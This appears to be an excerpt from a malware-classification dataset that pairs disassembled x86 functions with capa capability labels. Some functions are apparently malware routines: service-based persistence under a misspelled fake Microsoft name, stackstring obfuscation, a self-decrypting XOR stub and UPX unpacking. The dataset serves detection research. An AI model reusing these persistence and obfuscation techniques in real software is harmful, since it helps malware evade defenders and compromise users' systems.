joyce8/EMBER2024-capa huggingface dataset:
Function at 0x73da5c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
mov edi, dword [esi + 0x24]
mov dword [ebp - 0xc], edi
jmp 0x73da71
mov edi, dword [ebp - 0xc]
mov ecx, dword [esi + 0x64]
mov eax, dword [esi + 0x34]
mov edx, dword [esi + 0x6c]
sub eax, ecx
sub eax, edx
mov dword [ebp - 8], eax
jne 0x73da90
test ecx, ecx
jne 0x73da9e
test edx, edx
jne 0x73da9e
mov dword [ebp - 8], edi
jmp 0x73db08
cmp eax, 0xffffffff
jne 0x73da9e
mov dword [ebp - 8], 0xfffffffe
jmp 0x73db08
mov eax, dword [esi + 0x24]
lea eax, [edi + eax - 0x106]
cmp ecx, eax
jb 0x73db08
mov eax, dword [esi + 0x30]
push edi
lea ecx, [eax + edi]
push ecx
push eax
call sub.msvcrt.dll_memcpy
mov ecx, dword [esi + 0x44]
mov eax, dword [esi + 0x3c]
sub dword [esi + 0x68], edi
sub dword [esi + 0x64], edi
add esp, 0xc
sub dword [esi + 0x54], edi
lea eax, [eax + ecx*2]
dec eax
dec eax
movzx edx, word [eax]
mov ebx, edx
sub ebx, edi
cmp edx, edi
sbb edx, edx
not edx
and edx, ebx
dec ecx
mov word [eax], dx
jne 0x73dacf
mov eax, dword [esi + 0x38]
mov edx, edi
lea eax, [eax + edi*2]
dec eax
dec eax
movzx ecx, word [eax]
mov ebx, ecx
sub ebx, edi
cmp ecx, edi
sbb ecx, ecx
not ecx
and ecx, ebx
dec edx
mov word [eax], cx
jne 0x73daee
add dword [ebp - 8], edi
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x73dbab
mov ebx, dword [esi + 0x6c]
add ebx, dword [esi + 0x64]
mov eax, dword [edi + 4]
mov ecx, dword [ebp - 8]
add ebx, dword [esi + 0x30]
cmp eax, ecx
mov dword [ebp - 4], eax
jbe 0x73db2d
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jne 0x73db37
xor eax, eax
jmp 0x73db6c
sub eax, dword [ebp - 4]
mov dword [edi + 4], eax
mov eax, dword [edi + 0x1c]
cmp dword [eax + 0x18], 0
jne 0x73db56
push dword [ebp - 4]
push dword [edi]
push dword [edi + 0x30]
call fcn.0073edee
mov dword [edi + 0x30], eax
push dword [ebp - 4]
push dword [edi]
push ebx
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 4]
add dword [edi], eax
add esp, 0xc
add dword [edi + 8], eax
add dword [esi + 0x6c], eax
mov edi, dword [esi + 0x6c]
cmp edi, 3
jb 0x73db97
mov eax, dword [esi + 0x64]
mov ecx, dword [esi + 0x30]
lea edx, [eax + ecx]
movzx eax, byte [edx]
mov ecx, dword [esi + 0x50]
mov dword [esi + 0x40], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x4c]
mov dword [esi + 0x40], eax
cmp edi, 0x106
jae 0x73dbab
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x73da6e
pop edi
pop ebx
leave
ret

Function at 0x74fe50
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
cmp word [ecx], 0x5a4d
je 0x74fe63
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x74fe5f
xor ecx, ecx
cmp word [eax + 0x18], 0x10b
sete cl
mov eax, ecx
pop ebp
ret
Function at 0x74fe90
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
test esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x74fecf
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x74fec5
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x74fed1
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x74feb5
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x7514f2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, ecx
xor esi, esi
cmp dword [ebx], esi
push edi
je 0x751507
call fcn.007514cc
cmp dword [ebp + 0x14], esi
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceW]
jne 0x751518
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp dword [ebp + 0x10], esi
je 0x75152d
push 2
push dword [ebp + 0xc]
push dword [ebp + 8]
call edi
mov esi, eax
test esi, esi
jne 0x75153d
push 0xa
push dword [ebp + 0xc]
push dword [ebp + 8]
call edi
mov esi, eax
test esi, esi
je 0x75156c
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
mov dword [ebx + 8], eax
je 0x75156c
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebx], eax
je 0x75156c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
mov dword [ebx + 4], eax
jne 0x751579
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, 0x88760b59
jmp 0x75157b
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 0x10
Function at 0x752ca5
Capabilities:
Encode data using base64

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
mov ecx, dword [esi]
cmp ecx, 0x35
push edi
mov dword [ebp - 4], ebx
jne 0x752d0b
push ecx
mov ecx, ebx
call fcn.0052f050
mov eax, dword [esi + 0x508]
shr eax, 2
inc eax
inc eax
push eax
mov ecx, ebx
call fcn.0052f0e0
xor edi, edi
test dword [esi + 0x508], 0xfffffffc
jbe 0x752d04
mov eax, dword [esi + 0x50c]
push dword [eax + edi*4]
mov ecx, ebx
call fcn.0052f0e0
mov eax, dword [esi + 0x508]
inc edi
shr eax, 2
cmp edi, eax
jb 0x752ce6
mov ecx, ebx
jmp 0x752e0d
mov eax, dword [esi + 0x4ec]
neg eax
sbb eax, eax
mov edx, ecx
and eax, 0x80000000
and edx, 0x7ff
or eax, edx
cmp ecx, 0x1f
jg 0x752d4c
je 0x752d3e
sub ecx, 3
je 0x752d3e
dec ecx
dec ecx
je 0x752d3e
sub ecx, 3
je 0x752d3e
sub ecx, 5
jne 0x752d68
mov ecx, dword [esi + 0x504]
and ecx, 1
shl ecx, 0x12
jmp 0x752d66
sub ecx, 0x3d
je 0x752d5a
dec ecx
dec ecx
je 0x752d3e
sub ecx, 0x30
jne 0x752d68
mov ecx, dword [esi + 0x504]
and ecx, 3
shl ecx, 0xb
or eax, ecx
mov ecx, dword [esi + 0x500]
neg ecx
sbb ecx, ecx
and ecx, 0x2000
or ecx, eax
push ecx
mov ecx, ebx
call fcn.0052f050
xor ebx, ebx
cmp dword [esi + 0x4ec], ebx
je 0x752de9
mov eax, dword [esi]
cmp eax, 0x2d
jl 0x752de9
cmp eax, 0x2e
jle 0x752daa
cmp eax, 0x44
jle 0x752de9
cmp eax, 0x4a
jle 0x752daa
add eax, 0xffffff94
cmp eax, 1
ja 0x752de9
movzx eax, byte [esi + 0x4f6]
movzx ecx, byte [esi + 0x4f5]
and eax, 0xf
and ecx, 0xf
shl eax, 4
or eax, ecx
movzx ecx, byte [esi + 0x4f4]
and ecx, 0xf
shl eax, 4
or eax, ecx
mov ecx, dword [esi + 0x4f0]
and ecx, 0x3f
shl eax, 9
or eax, ecx
mov ecx, dword [ebp - 4]
push eax
call fcn.0052f0e0
lea edi, [esi + 0x4e8]
cmp dword [edi], ebx
jbe 0x752e0a
add esi, 8
mov ecx, dword [ebp - 4]
push esi
call fcn.00752a1d
inc ebx
add esi, 0xd0
cmp ebx, dword [edi]
jb 0x752df6
mov ecx, dword [ebp - 4]
call fcn.0052f090
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x753fb5
Capabilities:
Get file size
Read file via mapping

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xa4
mov eax, dword [0x773b90]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
cmp ebx, esi
push edi
mov edi, ecx
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], esi
jne 0x753fee
mov eax, 0x8876086c
jmp 0x75410c
cmp dword [ebp + 0xc], esi
je 0x75408f
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x88], 2
je 0x754071
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push esi
push 0xfde9
call ebx
push eax
mov dword [ebp - 0xa4], eax
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, esi
pop ecx
mov dword [ebp - 0x9c], eax
jne 0x75404d
mov eax, 0x8007000e
jmp 0x75410c
push esi
push esi
push dword [ebp - 0xa4]
push eax
push 0xffffffffffffffff
push dword [ebp - 0xa0]
push esi
push 0xfde9
call ebx
mov eax, dword [ebp - 0x9c]
mov dword [ebp + 0xc], esi
mov ebx, eax
cmp dword [ebp + 0xc], esi
je 0x75408f
push esi
push 0x10000000
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
jmp 0x7540a6
push esi
push 0x10000000
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push dword [ebp - 0x9c]
mov dword [edi], eax
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
mov eax, dword [edi]
cmp eax, 0xffffffff
pop ecx
je 0x7540fa
push esi
push esi
push esi
push 2
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, 0xffffffff
mov dword [edi + 4], eax
je 0x7540fa
push esi
push dword [edi]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
mov dword [edi + 0xc], eax
je 0x7540fa
cmp eax, esi
je 0x754107
push esi
push esi
push esi
push 4
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, esi
mov dword [edi + 8], eax
jne 0x75410a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, 0x88760b59
jmp 0x75410c
mov dword [edi + 8], esi
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0074f205
leave
ret 8

Function at 0x75429f
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
push esi
lea eax, [ebp - 0x24]
mov esi, ecx
and dword [esi], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp + 0xc]
and dword [esi + 8], 0
and dword [esi + 0xc], 0
and dword [esi + 0x10], 0
lea eax, [ecx + eax - 1]
dec ecx
not ecx
and eax, ecx
mov ecx, dword [ebp + 8]
test ecx, ecx
mov dword [esi + 4], eax
jne 0x7542e1
mov ecx, 0x100000
lea ecx, [eax + ecx - 1]
dec eax
not eax
and ecx, eax
mov dword [esi + 0x14], ecx
mov eax, esi
pop esi
leave
ret 8
Function at 0x403044
Capabilities:
Contain obfuscated stackstrings
Delete registry key
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406160
push 0x403940
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2dc
push ebx
push esi
push edi
push str.RegCloseKey
mov ebx, str.ADVAPI32.dll
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x260], eax
push str.OpenSCManagerA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x280], eax
push str.OpenServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x258], eax
push str.CloseServiceHandle
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x26c], eax
push str.RegSetValueExA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x274], eax
push str.StartServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x254], eax
push str.RegOpenKeyA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x288], eax
push str.UnlockServiceDatabase
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x284], eax
push str.ChangeServiceConfig2A
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x270], eax
push str.CreateServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x40], eax
push str.LockServiceDatabase
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x24c], eax
push str.GetLastError
mov ebx, 0x407144
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x278], eax
push str.WinExec
push ebx
call esi
push eax
call edi
push dword [ebp + 8]
xor ebx, ebx
push ebx
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov esi, eax
cmp esi, ebx
je 0x403179
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
jmp loc.0040b034

Function at 0x403853
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.Serpiei
mov edi, eax
push esi
call fcn.00402ee5
test eax, eax
pop ecx
je 0x4038a7
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x4035da
call edi
pop edi
xor eax, eax
pop esi
leave
ret 0x10
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.00402bc0
lea eax, [ebp - 0x114]
push 1
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworek_COMi_Suppoot
push esi
call fcn.00403044
add esp, 0x18
call fcn.00402130
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403b60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetSystemDirectoryA
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.lstrcatA
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
push str.lstrcpyA
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
mov esi, eax
lea eax, [esp + 0x40]
push 0x104
push eax
call ebx
mov al, 0x65
mov dl, 0x74
mov byte [esp + 0x1c], al
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], al
mov byte [esp + 0x25], al
mov byte [esp + 0x26], dl
mov byte [esp + 0x2e], al
mov byte [esp + 0x32], al
mov byte [esp + 0x38], al
mov byte [esp + 0x3a], al
mov byte [esp + 0x3c], al
mov cl, 0x72
mov bl, 0x6c
mov dl, 0x78
xor al, al
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], 0x50
mov byte [esp + 0x12], cl
mov byte [esp + 0x13], 0x6f
mov byte [esp + 0x14], 0x67
mov byte [esp + 0x15], cl
mov byte [esp + 0x16], 0x61
mov byte [esp + 0x17], 0x6d
mov byte [esp + 0x18], 0x20
mov byte [esp + 0x19], 0x46
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x1f], 0x49
mov byte [esp + 0x20], 0x6e
mov byte [esp + 0x23], cl
mov byte [esp + 0x24], 0x6e
mov byte [esp + 0x27], 0x20
mov byte [esp + 0x28], 0x45
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x70
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x6f
mov byte [esp + 0x2d], cl
mov byte [esp + 0x2f], cl
mov byte [esp + 0x30], 0x5c
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x33], dl
mov byte [esp + 0x34], 0x70
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x6f
mov byte [esp + 0x37], cl
mov byte [esp + 0x39], 0x2e
mov byte [esp + 0x3b], dl
mov byte [esp + 0x3d], al
mov byte [esp + 0x42], al
lea ecx, [esp + 0x10]
lea edx, [esp + 0x40]
push ecx
push edx
call ebp
mov ecx, dword [esp + 0x148]
lea eax, [esp + 0x40]
push eax
push ecx
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x134
ret

Function at 0x405590
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4055ae
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4055ef
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x1000bc7b
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.100059ab
xor ebx, ebx
cmp dword [0x10013868], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x1000bd50
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x1000bcbb
xor eax, eax
jmp 0x1000be14
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x1000bcb4
push eax
call fcn.10005948
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10013868], eax
call esi
push eax
call fcn.10005948
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1001386c], eax
call esi
push eax
call fcn.10005948
mov dword [0x10013870], eax
lea eax, [ebp - 8]
push eax
call fcn.10008b37
test eax, eax
pop ecx
pop ecx
je 0x1000bd1e
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.10006352
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x1000bd50
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.10005948
cmp eax, ebx
pop ecx
mov dword [0x10013878], eax
je 0x1000bd50
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10005948
pop ecx
mov dword [0x10013874], eax
mov eax, dword [0x10013874]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x1000bdc9
cmp dword [0x10013878], esi
je 0x1000bdc9
push eax
call fcn.100059b4
pop ecx
call eax
cmp eax, ebx
je 0x1000bd96
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x10013878]
call fcn.100059b4
pop ecx
call eax
test eax, eax
je 0x1000bd96
test byte [ebp - 0x18], 1
jne 0x1000bdc9
lea eax, [ebp - 0xc]
push eax
call fcn.10008b6e
test eax, eax
pop ecx
je 0x1000bdb1
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.10006352
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x1000bdc0
or dword [ebp + 0x10], 0x200000
jmp 0x1000bdfa
or dword [ebp + 0x10], 0x40000
jmp 0x1000bdfa
mov eax, dword [0x1001386c]
cmp eax, esi
je 0x1000bdfa
push eax
call fcn.100059b4
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x1000bdfa
mov eax, dword [0x10013870]
cmp eax, esi
je 0x1000bdfa
push dword [ebp - 4]
push eax
call fcn.100059b4
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x10013868]
call fcn.100059b4
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x519860
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x8c000]
lea eax, [edi + 0xcf740]
push dword [eax]
mov dword [eax], 0x430c48cc
push eax
push edi
jmp 0x51988a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x519891
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x519880
mov eax, 1
add ebx, ebx
jne 0x5198a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5198b4
jne 0x5198d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5198d3
dec eax
add ebx, ebx
jne 0x5198c0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x519898
add ebx, ebx
jne 0x5198cf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x519925
xor ecx, ecx
sub eax, 3
jb 0x5198eb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x51995a
sar eax, 1
mov ebp, eax
jmp 0x5198f6
add ebx, ebx
jne 0x5198f6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5198c4
inc ecx
add ebx, ebx
jne 0x519904
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5198c4
add ebx, ebx
jne 0x519911
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x519906
jne 0x519922
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x519906
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x519944
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x519936
jmp 0x519886
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x519944
add edi, ecx
jmp 0x519886
pop esi
pop edi
pop eax
mov dword [edi], eax
mov edi, esi
mov ecx, 0x40f0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x519966
cmp byte [edi], 0x11
jne 0x519966
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x51996b
lea edi, [esi + 0x112000]
mov eax, dword [edi]
or eax, eax
je 0x5199e3
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x122d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x122f08]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x519998
mov ecx, edi
jns 0x5199c7
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x122f10]
or eax, eax
je 0x5199dd
mov dword [ebx], eax
add ebx, 4
jmp 0x5199b5
call dword [esi + 0x122f0c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x519a14
cmp al, 0xef
ja 0x519a07
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x5199e9
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x5199f6
mov ebp, dword [esi + 0x122f14]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x519a48
sub esp, 0xffffff80
jmp 0x420577
Function at 0x10072c0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x5000]
push edi
or ebp, 0xffffffff
jmp 0x10072e2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x10072e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10072d8
mov eax, 1
add ebx, ebx
jne 0x10072fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x10072f0
jne 0x100730c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10072f0
xor ecx, ecx
sub eax, 3
jb 0x1007320
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1007392
mov ebp, eax
add ebx, ebx
jne 0x100732b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x1007338
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x100735c
inc ecx
add ebx, ebx
jne 0x1007348
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x100733d
jne 0x1007359
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x100733d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x100737c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x100736d
jmp 0x10072de
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x100737c
add edi, ecx
jmp 0x10072de
pop esi
mov edi, esi
mov ecx, 0x41
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x100739a
cmp byte [edi], 1
jne 0x100739a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x100739f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x100740e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x73d0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x7450]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x10073cc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x7458]
or eax, eax
je 0x1007408
mov dword [ebx], eax
add ebx, 4
jmp 0x10073e9
call dword [esi + 0x7454]
mov ebp, dword [esi + 0x745c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1007442
sub esp, 0xffffff80
jmp 0x100257e